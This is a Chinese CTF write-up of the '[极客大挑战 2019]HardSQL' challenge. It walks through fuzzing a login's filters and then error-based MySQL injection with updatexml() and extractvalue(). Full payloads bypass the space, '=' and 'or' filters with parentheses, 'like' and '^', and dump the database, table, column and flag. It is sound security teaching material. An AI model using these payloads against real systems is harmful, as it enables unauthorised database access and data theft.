首页 > 数据库 >非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

时间:2023-11-16 21:32:14浏览次数:35  
标签:极客 函数 HardSQL 0x7e 报错 concat select 注入

题目环境:<br />image.png

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了 做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin password:1 这里把参数password作为注入点

image.png<br />1'<br />image.png

单引号的字符型注入

万能密码注入<br />1' or '1'='1<br />image.png

万能密码注入被链接 猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符<br />image.png<br />Intruder字典爆破<br />image.png<br />光标选中参数password的值1-Add选择爆破目标image.png<br />选用字典<br />image.png<br />Start attack开始爆破<br />image.png<br />OK<br />image.png<br />爆破结果:<br />image.png

741为过滤内容 可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等被过滤

继续测试

admin 1' or

image.png<br />image.png

可以看到被拦截了 通过刚才的字典爆破,可以知道1'和or是没有被过滤的 那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin 1'(or)

image.png

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码<br />1'or((1)like(1))#<br />image.png<br />image.png

可以看到绕过了空格限制 同时也登陆成功了 然后想到了之前做过很类似的一道题 SQL报错注入也用到了空格限制 (已经试了堆叠注入和联合注入都不行) 这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数 注入原理: (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!) (局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它 函数floor() mysql中用来取整的函数 函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入<br />爆库<br />1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#<br />image.png

得到库名geek

查表<br />1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#<br />image.png

得到数据表H4rDsq1

爆字段<br />1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#<br />image.png

得到三个字段:id、username、password

查字段内容<br />1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#<br />image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制<br />1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#<br />image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:<br />flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制 这两种函数大同小异,不再赘述 当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以 大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#<br />image.png<br />image.png<br />1'or(extractvalue(1,concat(0x7e,(select(database())))))#<br />image.png<br />image.png

好了大家已经明显看到了^和()绕过不同限制的区别 那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#<br />image.png<br />1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#<br />image.png<br />1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#<br />image.png<br />使用right()突破字符限制<br />1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#<br />image.png<br />拼接得到最终flag:<br />flag{389c9161-c2eb-403a-8062-80f219ca1c30}

标签:极客,函数,HardSQL,0x7e,报错,concat,select,注入
From: https://blog.51cto.com/u_16306712/8433058

相关文章

  • PowerShell pnpm 报错
    Vue3>pnpmrundevpnpm:无法加载文件D:\programfiles\nodejs\node_global\pnpm.ps1。未对文件D:\programfiles\nodejs\node_global\pnpm.ps1进行数字签名。无法在当前系统上运行该脚本。有关运行脚本和设置执行策略的详细信息,请参阅https:/go.microsoft.com/fwlink/?Lin......
  • mac 下使用 brew 安装包报错 error: Cannot install under Rosetta 2 in ARM default
    mac下使用brew安装包报错error:CannotinstallunderRosetta2inARMdefaultprefix(/opt/homebrew)!TorerununderARMuse:arch-arm64brewinstall...Toinstallunderx86_64,installHomebrewinto/usr/local.解决办法:arch-arm64brewinstallxxx......
  • 【达梦8大小版本更换后适配flowable6.8报错Error initialising eventregistry data mo
    达梦8大小版本更换后适配flowable6.8报错问题背景:当前代码使用达梦8并适配了flowable6.8工作流,在达梦8小版本2021版更新到达梦8小版本2023后出现报错,报错如下:-Applicationrunfailedorg.springframework.beans.factory.UnsatisfiedDependencyException:Errorcreatingbea......
  • 使用MobaTextEditor编辑的代码在linux上运行报错
    在windows上通过ssh登录linux节点处理数据,使用MobaTextEditor编辑shell脚本后,在linux上运行总是报错找不到路径 报错 其根本原因是windows下每一行的结尾符是\n\r,而linux下是\n,所以windows下编写的shell脚本拷贝到linux下时会多一个\r,在运行时会乱码在运行前通过以下命令......
  • git clone报错SSL connect error
    解决CentOS6.6上Git操作引发的SSL连接错误问题最近在处理一个CentOS6.6服务器上的问题时,遇到了一个比较棘手的问题。我的小伙伴在操作Git时,发现无法执行gitpull命令,提示找不到Git组件。在这篇文章中,我会详细介绍我们是如何定位和解决这个问题的。问题描述在一个已经很久没有......
  • 解决执行pytest -vs test.py报错问题
    报错如下:解决方案:在终端中执行python-mpytest+后面你想运行的命令,如下:python-mpytesttest.py......
  • mysql链接不上3306报错10060
    1、控制台进入查看防火墙(前提mysql我的端口是3306,现在大部分人已经不用3306了)firewall-cmd--zone=public--list-ports(查看3306端口是否开启,如果没见到3306端口)2、添加3306firewall-cmd--zone=public--add-port=3306/tcp--parmanent3、如上添加成功了,最重要的一点来......
  • SAP调用外部的REST服务 http_communication_failure Connection to partner timed
    SAP中主动调用外部的REST服务时候, 因为传输的数据量比较大, 所以报Connectiontopartnertimedoutafter60 这一错误,原因之一可能是Tcode-SMICM ->转到->服务设置保活和处理超时时间,秒为单位,可以更具自己的需求进行设置。......
  • git 报错。
    在下载的 linux的源码上进行gitinit的时候报错。  fatal:Invalidpath'/home/topeet/source_code/xikejiqiren/3588-linux/.repo':Nosuchfileordirectory 这是可能的原因。  ......
  • docker使用--gpus all报错: docker: Error response from daemon: could not select d
    报错信息:docker:Errorresponsefromdaemon:couldnotselectdevicedriver""withcapabilities:[[gpu]].解决方法:1,任意路径下创建nvidia-container-runtime-script.sh文件vimnvidia-container-runtime-script.sh拷贝下方内容到nvidia-container-runtime-script.......